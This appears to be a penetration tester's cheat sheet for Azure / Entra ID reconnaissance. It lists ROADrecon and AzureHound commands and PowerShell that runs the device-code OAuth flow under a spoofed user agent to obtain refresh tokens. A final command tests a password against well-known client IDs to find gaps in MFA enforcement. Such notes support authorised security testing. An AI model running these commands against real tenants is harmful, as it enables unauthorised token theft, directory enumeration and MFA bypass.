Tools

ROADrecon

• https://github.com/dirkjanm/ROADtools

$ roadrecon auth --device-code [-ua '<USER_AGENT>']
$ roadrecon gather [-d megacorp.db] [-ua '<USER_AGENT>']
$ roadrecon gui [-d megacorp.db]

AzureHound

Get the device_code:

$body = @{
    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
    "resource"  = "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers = @{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
    -Headers $Headers `
    -Body $body
$authResponse

Get the refresh_token:

$body = @{
    "client_id"  = "1950a258-227b-4e31-a9cf-717495945fc2"
    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    "code"       = $authResponse.device_code
}
$tokens = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
    -Headers $Headers `
    -Body $body
$tokens

Collect data providing the refresh_token:

$ eget -qs linux/amd64 "BloodHoundAD/AzureHound" --to ~/tools/BloodHound
$ ~/tools/BloodHound/azurehound -r "<REFRESH_TOKEN>" list --tenant megacorp.cloud --json -o azure_megacorp.cloud.json

• https://www.pentestpartners.com/security-blog/bypassing-mfa-on-microsoft-azure-entra-id/

Check if MFA is forcefully enabled via well-known client GUIDs:

$ proxy roadrecon auth -u [email protected] -p 'Passw0rd!' -r https://outlook.office.com/ -c 1b730954-1685-4b74-9bfd-dac224a7b894 --tokens-stdout
